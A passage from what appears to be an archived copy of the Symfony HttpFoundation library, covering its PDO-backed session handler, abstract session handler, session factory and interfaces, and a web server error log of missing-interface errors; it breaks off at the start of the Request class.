KEY, $this->dataCol BLOB NOT NULL, $this->lifetimeCol INTEGER NOT NULL, $this->timeCol INTEGER NOT NULL)", 'sqlsrv' => "CREATE TABLE $this->table ($this->idCol VARCHAR(128) NOT NULL PRIMARY KEY, $this->dataCol VARBINARY(MAX) NOT NULL, $this->lifetimeCol INTEGER NOT NULL, $this->timeCol INTEGER NOT NULL)", default => throw new \DomainException(sprintf('Creating the session table is currently not implemented for PDO driver "%s".', $this->driver)), }; try { $this->pdo->exec($sql); $this->pdo->exec("CREATE INDEX {$this->lifetimeCol}_idx ON $this->table ($this->lifetimeCol)"); } catch (\PDOException $e) { $this->rollback(); throw $e; } } /** * Returns true when the current session exists but expired according to session.gc_maxlifetime. * * Can be used to distinguish between a new session and one that expired due to inactivity. */ public function isSessionExpired(): bool { return $this->sessionExpired; } public function open(string $savePath, string $sessionName): bool { $this->sessionExpired = false; if (!isset($this->pdo)) { $this->connect($this->dsn ?: $savePath); } return parent::open($savePath, $sessionName); } public function read(#[\SensitiveParameter] string $sessionId): string { try { return parent::read($sessionId); } catch (\PDOException $e) { $this->rollback(); throw $e; } } public function gc(int $maxlifetime): int|false { // We delay gc() to close() so that it is executed outside the transactional and blocking read-write process. // This way, pruning expired sessions does not block them from being started while the current session is used. $this->gcCalled = true; return 0; } protected function doDestroy(#[\SensitiveParameter] string $sessionId): bool { // delete the record associated with this id $sql = "DELETE FROM $this->table WHERE $this->idCol = :id"; try { $stmt = $this->pdo->prepare($sql); $stmt->bindParam(':id', $sessionId, \PDO::PARAM_STR); $stmt->execute(); } catch (\PDOException $e) { $this->rollback(); throw $e; } return true; } protected function doWrite(#[\SensitiveParameter] string $sessionId, string $data): bool { $maxlifetime = (int) (($this->ttl instanceof \Closure ? ($this->ttl)() : $this->ttl) ?? \ini_get('session.gc_maxlifetime')); try { // We use a single MERGE SQL query when supported by the database. $mergeStmt = $this->getMergeStatement($sessionId, $data, $maxlifetime); if (null !== $mergeStmt) { $mergeStmt->execute(); return true; } $updateStmt = $this->getUpdateStatement($sessionId, $data, $maxlifetime); $updateStmt->execute(); // When MERGE is not supported, like in Postgres < 9.5, we have to use this approach that can result in // duplicate key errors when the same session is written simultaneously (given the LOCK_NONE behavior). // We can just catch such an error and re-execute the update. This is similar to a serializable // transaction with retry logic on serialization failures but without the overhead and without possible // false positives due to longer gap locking. if (!$updateStmt->rowCount()) { try { $insertStmt = $this->getInsertStatement($sessionId, $data, $maxlifetime); $insertStmt->execute(); } catch (\PDOException $e) { // Handle integrity violation SQLSTATE 23000 (or a subclass like 23505 in Postgres) for duplicate keys if (str_starts_with($e->getCode(), '23')) { $updateStmt->execute(); } else { throw $e; } } } } catch (\PDOException $e) { $this->rollback(); throw $e; } return true; } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $data): bool { $expiry = time() + (int) (($this->ttl instanceof \Closure ? ($this->ttl)() : $this->ttl) ?? \ini_get('session.gc_maxlifetime')); try { $updateStmt = $this->pdo->prepare( "UPDATE $this->table SET $this->lifetimeCol = :expiry, $this->timeCol = :time WHERE $this->idCol = :id" ); $updateStmt->bindValue(':id', $sessionId, \PDO::PARAM_STR); $updateStmt->bindValue(':expiry', $expiry, \PDO::PARAM_INT); $updateStmt->bindValue(':time', time(), \PDO::PARAM_INT); $updateStmt->execute(); } catch (\PDOException $e) { $this->rollback(); throw $e; } return true; } public function close(): bool { $this->commit(); while ($unlockStmt = array_shift($this->unlockStatements)) { $unlockStmt->execute(); } if ($this->gcCalled) { $this->gcCalled = false; // delete the session records that have expired $sql = "DELETE FROM $this->table WHERE $this->lifetimeCol < :time"; $stmt = $this->pdo->prepare($sql); $stmt->bindValue(':time', time(), \PDO::PARAM_INT); $stmt->execute(); } if (false !== $this->dsn) { unset($this->pdo, $this->driver); // only close lazy-connection } return true; } /** * Lazy-connects to the database. */ private function connect(#[\SensitiveParameter] string $dsn): void { $this->pdo = new \PDO($dsn, $this->username, $this->password, $this->connectionOptions); $this->pdo->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); $this->driver = $this->pdo->getAttribute(\PDO::ATTR_DRIVER_NAME); } /** * Builds a PDO DSN from a URL-like connection string. * * @todo implement missing support for oci DSN (which look totally different from other PDO ones) */ private function buildDsnFromUrl(#[\SensitiveParameter] string $dsnOrUrl): string { // (pdo_)?sqlite3?:///... => (pdo_)?sqlite3?://localhost/... or else the URL will be invalid $url = preg_replace('#^((?:pdo_)?sqlite3?):///#', '$1://localhost/', $dsnOrUrl); $params = parse_url($url); if (false === $params) { return $dsnOrUrl; // If the URL is not valid, let's assume it might be a DSN already. } $params = array_map('rawurldecode', $params); // Override the default username and password. Values passed through options will still win over these in the constructor. if (isset($params['user'])) { $this->username = $params['user']; } if (isset($params['pass'])) { $this->password = $params['pass']; } if (!isset($params['scheme'])) { throw new \InvalidArgumentException('URLs without scheme are not supported to configure the PdoSessionHandler.'); } $driverAliasMap = [ 'mssql' => 'sqlsrv', 'mysql2' => 'mysql', // Amazon RDS, for some weird reason 'postgres' => 'pgsql', 'postgresql' => 'pgsql', 'sqlite3' => 'sqlite', ]; $driver = $driverAliasMap[$params['scheme']] ?? $params['scheme']; // Doctrine DBAL supports passing its internal pdo_* driver names directly too (allowing both dashes and underscores). This allows supporting the same here. if (str_starts_with($driver, 'pdo_') || str_starts_with($driver, 'pdo-')) { $driver = substr($driver, 4); } $dsn = null; switch ($driver) { case 'mysql': $dsn = 'mysql:'; if ('' !== ($params['query'] ?? '')) { $queryParams = []; parse_str($params['query'], $queryParams); if ('' !== ($queryParams['charset'] ?? '')) { $dsn .= 'charset='.$queryParams['charset'].';'; } if ('' !== ($queryParams['unix_socket'] ?? '')) { $dsn .= 'unix_socket='.$queryParams['unix_socket'].';'; if (isset($params['path'])) { $dbName = substr($params['path'], 1); // Remove the leading slash $dsn .= 'dbname='.$dbName.';'; } return $dsn; } } // If "unix_socket" is not in the query, we continue with the same process as pgsql // no break case 'pgsql': $dsn ??= 'pgsql:'; if (isset($params['host']) && '' !== $params['host']) { $dsn .= 'host='.$params['host'].';'; } if (isset($params['port']) && '' !== $params['port']) { $dsn .= 'port='.$params['port'].';'; } if (isset($params['path'])) { $dbName = substr($params['path'], 1); // Remove the leading slash $dsn .= 'dbname='.$dbName.';'; } return $dsn; case 'sqlite': return 'sqlite:'.substr($params['path'], 1); case 'sqlsrv': $dsn = 'sqlsrv:server='; if (isset($params['host'])) { $dsn .= $params['host']; } if (isset($params['port']) && '' !== $params['port']) { $dsn .= ','.$params['port']; } if (isset($params['path'])) { $dbName = substr($params['path'], 1); // Remove the leading slash $dsn .= ';Database='.$dbName; } return $dsn; default: throw new \InvalidArgumentException(sprintf('The scheme "%s" is not supported by the PdoSessionHandler URL configuration. Pass a PDO DSN directly.', $params['scheme'])); } } /** * Helper method to begin a transaction. * * Since SQLite does not support row level locks, we have to acquire a reserved lock * on the database immediately. Because of https://bugs.php.net/42766 we have to create * such a transaction manually which also means we cannot use PDO::commit or * PDO::rollback or PDO::inTransaction for SQLite. * * Also MySQLs default isolation, REPEATABLE READ, causes deadlock for different sessions * due to https://percona.com/blog/2013/12/12/one-more-innodb-gap-lock-to-avoid/ . * So we change it to READ COMMITTED. */ private function beginTransaction(): void { if (!$this->inTransaction) { if ('sqlite' === $this->driver) { $this->pdo->exec('BEGIN IMMEDIATE TRANSACTION'); } else { if ('mysql' === $this->driver) { $this->pdo->exec('SET TRANSACTION ISOLATION LEVEL READ COMMITTED'); } $this->pdo->beginTransaction(); } $this->inTransaction = true; } } /** * Helper method to commit a transaction. */ private function commit(): void { if ($this->inTransaction) { try { // commit read-write transaction which also releases the lock if ('sqlite' === $this->driver) { $this->pdo->exec('COMMIT'); } else { $this->pdo->commit(); } $this->inTransaction = false; } catch (\PDOException $e) { $this->rollback(); throw $e; } } } /** * Helper method to rollback a transaction. */ private function rollback(): void { // We only need to rollback if we are in a transaction. Otherwise the resulting // error would hide the real problem why rollback was called. We might not be // in a transaction when not using the transactional locking behavior or when // two callbacks (e.g. destroy and write) are invoked that both fail. if ($this->inTransaction) { if ('sqlite' === $this->driver) { $this->pdo->exec('ROLLBACK'); } else { $this->pdo->rollBack(); } $this->inTransaction = false; } } /** * Reads the session data in respect to the different locking strategies. * * We need to make sure we do not return session data that is already considered garbage according * to the session.gc_maxlifetime setting because gc() is called after read() and only sometimes. */ protected function doRead(#[\SensitiveParameter] string $sessionId): string { if (self::LOCK_ADVISORY === $this->lockMode) { $this->unlockStatements[] = $this->doAdvisoryLock($sessionId); } $selectSql = $this->getSelectSql(); $selectStmt = $this->pdo->prepare($selectSql); $selectStmt->bindParam(':id', $sessionId, \PDO::PARAM_STR); $insertStmt = null; while (true) { $selectStmt->execute(); $sessionRows = $selectStmt->fetchAll(\PDO::FETCH_NUM); if ($sessionRows) { $expiry = (int) $sessionRows[0][1]; if ($expiry < time()) { $this->sessionExpired = true; return ''; } return \is_resource($sessionRows[0][0]) ? stream_get_contents($sessionRows[0][0]) : $sessionRows[0][0]; } if (null !== $insertStmt) { $this->rollback(); throw new \RuntimeException('Failed to read session: INSERT reported a duplicate id but next SELECT did not return any data.'); } if (!filter_var(\ini_get('session.use_strict_mode'), \FILTER_VALIDATE_BOOL) && self::LOCK_TRANSACTIONAL === $this->lockMode && 'sqlite' !== $this->driver) { // In strict mode, session fixation is not possible: new sessions always start with a unique // random id, so that concurrency is not possible and this code path can be skipped. // Exclusive-reading of non-existent rows does not block, so we need to do an insert to block // until other connections to the session are committed. try { $insertStmt = $this->getInsertStatement($sessionId, '', 0); $insertStmt->execute(); } catch (\PDOException $e) { // Catch duplicate key error because other connection created the session already. // It would only not be the case when the other connection destroyed the session. if (str_starts_with($e->getCode(), '23')) { // Retrieve finished session data written by concurrent connection by restarting the loop. // We have to start a new transaction as a failed query will mark the current transaction as // aborted in PostgreSQL and disallow further queries within it. $this->rollback(); $this->beginTransaction(); continue; } throw $e; } } return ''; } } /** * Executes an application-level lock on the database. * * @return \PDOStatement The statement that needs to be executed later to release the lock * * @throws \DomainException When an unsupported PDO driver is used * * @todo implement missing advisory locks * - for oci using DBMS_LOCK.REQUEST * - for sqlsrv using sp_getapplock with LockOwner = Session */ private function doAdvisoryLock(#[\SensitiveParameter] string $sessionId): \PDOStatement { switch ($this->driver) { case 'mysql': // MySQL 5.7.5 and later enforces a maximum length on lock names of 64 characters. Previously, no limit was enforced. $lockId = substr($sessionId, 0, 64); // should we handle the return value? 0 on timeout, null on error // we use a timeout of 50 seconds which is also the default for innodb_lock_wait_timeout $stmt = $this->pdo->prepare('SELECT GET_LOCK(:key, 50)'); $stmt->bindValue(':key', $lockId, \PDO::PARAM_STR); $stmt->execute(); $releaseStmt = $this->pdo->prepare('DO RELEASE_LOCK(:key)'); $releaseStmt->bindValue(':key', $lockId, \PDO::PARAM_STR); return $releaseStmt; case 'pgsql': // Obtaining an exclusive session level advisory lock requires an integer key. // When session.sid_bits_per_character > 4, the session id can contain non-hex-characters. // So we cannot just use hexdec(). if (4 === \PHP_INT_SIZE) { $sessionInt1 = $this->convertStringToInt($sessionId); $sessionInt2 = $this->convertStringToInt(substr($sessionId, 4, 4)); $stmt = $this->pdo->prepare('SELECT pg_advisory_lock(:key1, :key2)'); $stmt->bindValue(':key1', $sessionInt1, \PDO::PARAM_INT); $stmt->bindValue(':key2', $sessionInt2, \PDO::PARAM_INT); $stmt->execute(); $releaseStmt = $this->pdo->prepare('SELECT pg_advisory_unlock(:key1, :key2)'); $releaseStmt->bindValue(':key1', $sessionInt1, \PDO::PARAM_INT); $releaseStmt->bindValue(':key2', $sessionInt2, \PDO::PARAM_INT); } else { $sessionBigInt = $this->convertStringToInt($sessionId); $stmt = $this->pdo->prepare('SELECT pg_advisory_lock(:key)'); $stmt->bindValue(':key', $sessionBigInt, \PDO::PARAM_INT); $stmt->execute(); $releaseStmt = $this->pdo->prepare('SELECT pg_advisory_unlock(:key)'); $releaseStmt->bindValue(':key', $sessionBigInt, \PDO::PARAM_INT); } return $releaseStmt; case 'sqlite': throw new \DomainException('SQLite does not support advisory locks.'); default: throw new \DomainException(sprintf('Advisory locks are currently not implemented for PDO driver "%s".', $this->driver)); } } /** * Encodes the first 4 (when PHP_INT_SIZE == 4) or 8 characters of the string as an integer. * * Keep in mind, PHP integers are signed. */ private function convertStringToInt(string $string): int { if (4 === \PHP_INT_SIZE) { return (\ord($string[3]) << 24) + (\ord($string[2]) << 16) + (\ord($string[1]) << 8) + \ord($string[0]); } $int1 = (\ord($string[7]) << 24) + (\ord($string[6]) << 16) + (\ord($string[5]) << 8) + \ord($string[4]); $int2 = (\ord($string[3]) << 24) + (\ord($string[2]) << 16) + (\ord($string[1]) << 8) + \ord($string[0]); return $int2 + ($int1 << 32); } /** * Return a locking or nonlocking SQL query to read session information. * * @throws \DomainException When an unsupported PDO driver is used */ private function getSelectSql(): string { if (self::LOCK_TRANSACTIONAL === $this->lockMode) { $this->beginTransaction(); switch ($this->driver) { case 'mysql': case 'oci': case 'pgsql': return "SELECT $this->dataCol, $this->lifetimeCol FROM $this->table WHERE $this->idCol = :id FOR UPDATE"; case 'sqlsrv': return "SELECT $this->dataCol, $this->lifetimeCol FROM $this->table WITH (UPDLOCK, ROWLOCK) WHERE $this->idCol = :id"; case 'sqlite': // we already locked when starting transaction break; default: throw new \DomainException(sprintf('Transactional locks are currently not implemented for PDO driver "%s".', $this->driver)); } } return "SELECT $this->dataCol, $this->lifetimeCol FROM $this->table WHERE $this->idCol = :id"; } /** * Returns an insert statement supported by the database for writing session data. */ private function getInsertStatement(#[\SensitiveParameter] string $sessionId, string $sessionData, int $maxlifetime): \PDOStatement { switch ($this->driver) { case 'oci': $data = fopen('php://memory', 'r+'); fwrite($data, $sessionData); rewind($data); $sql = "INSERT INTO $this->table ($this->idCol, $this->dataCol, $this->lifetimeCol, $this->timeCol) VALUES (:id, EMPTY_BLOB(), :expiry, :time) RETURNING $this->dataCol into :data"; break; default: $data = $sessionData; $sql = "INSERT INTO $this->table ($this->idCol, $this->dataCol, $this->lifetimeCol, $this->timeCol) VALUES (:id, :data, :expiry, :time)"; break; } $stmt = $this->pdo->prepare($sql); $stmt->bindParam(':id', $sessionId, \PDO::PARAM_STR); $stmt->bindParam(':data', $data, \PDO::PARAM_LOB); $stmt->bindValue(':expiry', time() + $maxlifetime, \PDO::PARAM_INT); $stmt->bindValue(':time', time(), \PDO::PARAM_INT); return $stmt; } /** * Returns an update statement supported by the database for writing session data. */ private function getUpdateStatement(#[\SensitiveParameter] string $sessionId, string $sessionData, int $maxlifetime): \PDOStatement { switch ($this->driver) { case 'oci': $data = fopen('php://memory', 'r+'); fwrite($data, $sessionData); rewind($data); $sql = "UPDATE $this->table SET $this->dataCol = EMPTY_BLOB(), $this->lifetimeCol = :expiry, $this->timeCol = :time WHERE $this->idCol = :id RETURNING $this->dataCol into :data"; break; default: $data = $sessionData; $sql = "UPDATE $this->table SET $this->dataCol = :data, $this->lifetimeCol = :expiry, $this->timeCol = :time WHERE $this->idCol = :id"; break; } $stmt = $this->pdo->prepare($sql); $stmt->bindParam(':id', $sessionId, \PDO::PARAM_STR); $stmt->bindParam(':data', $data, \PDO::PARAM_LOB); $stmt->bindValue(':expiry', time() + $maxlifetime, \PDO::PARAM_INT); $stmt->bindValue(':time', time(), \PDO::PARAM_INT); return $stmt; } /** * Returns a merge/upsert (i.e. insert or update) statement when supported by the database for writing session data. */ private function getMergeStatement(#[\SensitiveParameter] string $sessionId, string $data, int $maxlifetime): ?\PDOStatement { switch (true) { case 'mysql' === $this->driver: $mergeSql = "INSERT INTO $this->table ($this->idCol, $this->dataCol, $this->lifetimeCol, $this->timeCol) VALUES (:id, :data, :expiry, :time) ". "ON DUPLICATE KEY UPDATE $this->dataCol = VALUES($this->dataCol), $this->lifetimeCol = VALUES($this->lifetimeCol), $this->timeCol = VALUES($this->timeCol)"; break; case 'sqlsrv' === $this->driver && version_compare($this->pdo->getAttribute(\PDO::ATTR_SERVER_VERSION), '10', '>='): // MERGE is only available since SQL Server 2008 and must be terminated by semicolon // It also requires HOLDLOCK according to https://weblogs.sqlteam.com/dang/2009/01/31/upsert-race-condition-with-merge/ $mergeSql = "MERGE INTO $this->table WITH (HOLDLOCK) USING (SELECT 1 AS dummy) AS src ON ($this->idCol = ?) ". "WHEN NOT MATCHED THEN INSERT ($this->idCol, $this->dataCol, $this->lifetimeCol, $this->timeCol) VALUES (?, ?, ?, ?) ". "WHEN MATCHED THEN UPDATE SET $this->dataCol = ?, $this->lifetimeCol = ?, $this->timeCol = ?;"; break; case 'sqlite' === $this->driver: $mergeSql = "INSERT OR REPLACE INTO $this->table ($this->idCol, $this->dataCol, $this->lifetimeCol, $this->timeCol) VALUES (:id, :data, :expiry, :time)"; break; case 'pgsql' === $this->driver && version_compare($this->pdo->getAttribute(\PDO::ATTR_SERVER_VERSION), '9.5', '>='): $mergeSql = "INSERT INTO $this->table ($this->idCol, $this->dataCol, $this->lifetimeCol, $this->timeCol) VALUES (:id, :data, :expiry, :time) ". "ON CONFLICT ($this->idCol) DO UPDATE SET ($this->dataCol, $this->lifetimeCol, $this->timeCol) = (EXCLUDED.$this->dataCol, EXCLUDED.$this->lifetimeCol, EXCLUDED.$this->timeCol)"; break; default: // MERGE is not supported with LOBs: https://oracle.com/technetwork/articles/fuecks-lobs-095315.html return null; } $mergeStmt = $this->pdo->prepare($mergeSql); if ('sqlsrv' === $this->driver) { $mergeStmt->bindParam(1, $sessionId, \PDO::PARAM_STR); $mergeStmt->bindParam(2, $sessionId, \PDO::PARAM_STR); $mergeStmt->bindParam(3, $data, \PDO::PARAM_LOB); $mergeStmt->bindValue(4, time() + $maxlifetime, \PDO::PARAM_INT); $mergeStmt->bindValue(5, time(), \PDO::PARAM_INT); $mergeStmt->bindParam(6, $data, \PDO::PARAM_LOB); $mergeStmt->bindValue(7, time() + $maxlifetime, \PDO::PARAM_INT); $mergeStmt->bindValue(8, time(), \PDO::PARAM_INT); } else { $mergeStmt->bindParam(':id', $sessionId, \PDO::PARAM_STR); $mergeStmt->bindParam(':data', $data, \PDO::PARAM_LOB); $mergeStmt->bindValue(':expiry', time() + $maxlifetime, \PDO::PARAM_INT); $mergeStmt->bindValue(':time', time(), \PDO::PARAM_INT); } return $mergeStmt; } /** * Return a PDO instance. */ protected function getConnection(): \PDO { if (!isset($this->pdo)) { $this->connect($this->dsn ?: \ini_get('session.save_path')); } return $this->pdo; } } http-foundation/Session/Storage/Handler/AbstractSessionHandler.php000064400000007777151113511500021424 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; use Symfony\Component\HttpFoundation\Session\SessionUtils; /** * This abstract session handler provides a generic implementation * of the PHP 7.0 SessionUpdateTimestampHandlerInterface, * enabling strict and lazy session handling. * * @author Nicolas Grekas */ abstract class AbstractSessionHandler implements \SessionHandlerInterface, \SessionUpdateTimestampHandlerInterface { private string $sessionName; private string $prefetchId; private string $prefetchData; private ?string $newSessionId = null; private string $igbinaryEmptyData; public function open(string $savePath, string $sessionName): bool { $this->sessionName = $sessionName; if (!headers_sent() && !\ini_get('session.cache_limiter') && '0' !== \ini_get('session.cache_limiter')) { header(sprintf('Cache-Control: max-age=%d, private, must-revalidate', 60 * (int) \ini_get('session.cache_expire'))); } return true; } abstract protected function doRead(#[\SensitiveParameter] string $sessionId): string; abstract protected function doWrite(#[\SensitiveParameter] string $sessionId, string $data): bool; abstract protected function doDestroy(#[\SensitiveParameter] string $sessionId): bool; public function validateId(#[\SensitiveParameter] string $sessionId): bool { $this->prefetchData = $this->read($sessionId); $this->prefetchId = $sessionId; return '' !== $this->prefetchData; } public function read(#[\SensitiveParameter] string $sessionId): string { if (isset($this->prefetchId)) { $prefetchId = $this->prefetchId; $prefetchData = $this->prefetchData; unset($this->prefetchId, $this->prefetchData); if ($prefetchId === $sessionId || '' === $prefetchData) { $this->newSessionId = '' === $prefetchData ? $sessionId : null; return $prefetchData; } } $data = $this->doRead($sessionId); $this->newSessionId = '' === $data ? $sessionId : null; return $data; } public function write(#[\SensitiveParameter] string $sessionId, string $data): bool { // see https://github.com/igbinary/igbinary/issues/146 $this->igbinaryEmptyData ??= \function_exists('igbinary_serialize') ? igbinary_serialize([]) : ''; if ('' === $data || $this->igbinaryEmptyData === $data) { return $this->destroy($sessionId); } $this->newSessionId = null; return $this->doWrite($sessionId, $data); } public function destroy(#[\SensitiveParameter] string $sessionId): bool { if (!headers_sent() && filter_var(\ini_get('session.use_cookies'), \FILTER_VALIDATE_BOOL)) { if (!isset($this->sessionName)) { throw new \LogicException(sprintf('Session name cannot be empty, did you forget to call "parent::open()" in "%s"?.', static::class)); } $cookie = SessionUtils::popSessionCookie($this->sessionName, $sessionId); /* * We send an invalidation Set-Cookie header (zero lifetime) * when either the session was started or a cookie with * the session name was sent by the client (in which case * we know it's invalid as a valid session cookie would've * started the session). */ if (null === $cookie || isset($_COOKIE[$this->sessionName])) { $params = session_get_cookie_params(); unset($params['lifetime']); setcookie($this->sessionName, '', $params); } } return $this->newSessionId === $sessionId || $this->doDestroy($sessionId); } } http-foundation/Session/Storage/SessionStorageFactoryInterface.php000064400000001132151113511500021536 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Request; /** * @author Jérémy Derussé */ interface SessionStorageFactoryInterface { /** * Creates a new instance of SessionStorageInterface. */ public function createStorage(?Request $request): SessionStorageInterface; } http-foundation/Session/FlashBagAwareSessionInterface.php000064400000001027151113511500017630 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session; use Symfony\Component\HttpFoundation\Session\Flash\FlashBagInterface; /** * Interface for session with a flashbag. */ interface FlashBagAwareSessionInterface extends SessionInterface { public function getFlashBag(): FlashBagInterface; } http-foundation/Session/error_log000064400000011077151113511500013226 0ustar00[19-Nov-2025 13:58:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/FlashBagAwareSessionInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/FlashBagAwareSessionInterface.php on line 19 [19-Nov-2025 13:58:52 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionBagProxy.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionBagProxy.php on line 19 [19-Nov-2025 14:01:00 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionFactory.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionFactory.php on line 23 [19-Nov-2025 18:01:58 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\FlashBagAwareSessionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Session.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Session.php on line 33 [19-Nov-2025 20:15:17 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionBagProxy.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionBagProxy.php on line 19 [19-Nov-2025 20:17:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/FlashBagAwareSessionInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/FlashBagAwareSessionInterface.php on line 19 [19-Nov-2025 20:19:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionFactory.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionFactory.php on line 23 [20-Nov-2025 00:46:00 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\FlashBagAwareSessionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Session.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Session.php on line 33 [26-Nov-2025 01:29:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/FlashBagAwareSessionInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/FlashBagAwareSessionInterface.php on line 19 [26-Nov-2025 01:52:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\FlashBagAwareSessionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Session.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Session.php on line 33 [26-Nov-2025 02:05:13 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionFactory.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionFactory.php on line 23 [26-Nov-2025 03:35:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionBagProxy.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/SessionBagProxy.php on line 19 http-foundation/Session/SessionFactory.php000064400000002434151113511500014772 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\Storage\SessionStorageFactoryInterface; // Help opcache.preload discover always-needed symbols class_exists(Session::class); /** * @author Jérémy Derussé */ class SessionFactory implements SessionFactoryInterface { private RequestStack $requestStack; private SessionStorageFactoryInterface $storageFactory; private ?\Closure $usageReporter; public function __construct(RequestStack $requestStack, SessionStorageFactoryInterface $storageFactory, callable $usageReporter = null) { $this->requestStack = $requestStack; $this->storageFactory = $storageFactory; $this->usageReporter = null === $usageReporter ? null : $usageReporter(...); } public function createSession(): SessionInterface { return new Session($this->storageFactory->createStorage($this->requestStack->getMainRequest()), null, null, $this->usageReporter); } } http-foundation/Request.php000064400000205672151113511500012035 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\HttpFoundation\Exception\ConflictingHeadersException; use Symfony\Component\HttpFoundation\Exception\JsonException; use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException; use Symfony\Component\HttpFoundation\Exception\SuspiciousOperationException; use Symfony\Component\HttpFoundation\Session\SessionInterface; // Help opcache.preload discover always-needed symbols class_exists(AcceptHeader::class); class_exists(FileBag::class); class_exists(HeaderBag::class); class_exists(HeaderUtils::class); class_exists(InputBag::class); class_exists(ParameterBag::class); class_exists(ServerBag::class); /** * Request represents an HTTP request. * * The methods dealing with URL accept / return a raw path (% encoded): * * getBasePath * * getBaseUrl * * getPathInfo * * getRequestUri * * getUri * * getUriForPath * * @author Fabien Potencier */ class Request { public const HEADER_FORWARDED = 0b000001; // When using RFC 7239 public const HEADER_X_FORWARDED_FOR = 0b000010; public const HEADER_X_FORWARDED_HOST = 0b000100; public const HEADER_X_FORWARDED_PROTO = 0b001000; public const HEADER_X_FORWARDED_PORT = 0b010000; public const HEADER_X_FORWARDED_PREFIX = 0b100000; public const HEADER_X_FORWARDED_AWS_ELB = 0b0011010; // AWS ELB doesn't send X-Forwarded-Host public const HEADER_X_FORWARDED_TRAEFIK = 0b0111110; // All "X-Forwarded-*" headers sent by Traefik reverse proxy public const METHOD_HEAD = 'HEAD'; public const METHOD_GET = 'GET'; public const METHOD_POST = 'POST'; public const METHOD_PUT = 'PUT'; public const METHOD_PATCH = 'PATCH'; public const METHOD_DELETE = 'DELETE'; public const METHOD_PURGE = 'PURGE'; public const METHOD_OPTIONS = 'OPTIONS'; public const METHOD_TRACE = 'TRACE'; public const METHOD_CONNECT = 'CONNECT'; /** * @var string[] */ protected static $trustedProxies = []; /** * @var string[] */ protected static $trustedHostPatterns = []; /** * @var string[] */ protected static $trustedHosts = []; protected static $httpMethodParameterOverride = false; /** * Custom parameters. * * @var ParameterBag */ public $attributes; /** * Request body parameters ($_POST). * * @see getPayload() for portability between content types * * @var InputBag */ public $request; /** * Query string parameters ($_GET). * * @var InputBag */ public $query; /** * Server and execution environment parameters ($_SERVER). * * @var ServerBag */ public $server; /** * Uploaded files ($_FILES). * * @var FileBag */ public $files; /** * Cookies ($_COOKIE). * * @var InputBag */ public $cookies; /** * Headers (taken from the $_SERVER). * * @var HeaderBag */ public 